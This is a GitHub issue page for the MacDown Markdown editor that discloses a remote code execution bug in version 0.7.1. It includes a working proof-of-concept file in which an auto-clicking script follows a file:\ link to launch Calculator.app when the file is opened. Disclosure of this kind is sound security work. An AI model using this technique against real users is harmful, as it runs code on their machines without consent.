MacDownApp/macdown

Macdown Version 0.7.1 (870) Remote Code Execution

オープン

#1,050 opened on 2019/01/28

 (7 件のコメント) (1 件のリアクション) (0 人の担当者)Objective-C (930 件のフォーク)batch import
help wantedon hold

Repository metrics

Stars
 (7,686 個のスター)
PR merge metrics
 (PR metrics pending)

説明

Macdown Version 0.7.1 (870) Remote Code Execution

Macdown version 0.7.1 (870) is affected by a remote code execution vulnerability. Macdown fails to sanitize input on HTML attributes. Abusing thefile:\\ URI scheme on HTML attributes can result in arbitrary code execution. The attached proof of concept will execute the MacOS Calculator.app when opened inside of Macdown.

PoC (PoC.md):

<!DOCTYPE html>
<html>
<body>

<a href="file:\\\Applications\Calculator.app" id=exploit download>
  <img src="/images/exploit.jpg" alt="exploit" width="104" height="142">
</a>

<script>
(function download() {
    document.getElementById('exploit').click();
})()
</script>

</body>
</html>

Screenshot:

PoC.md.zip

コントリビューターガイド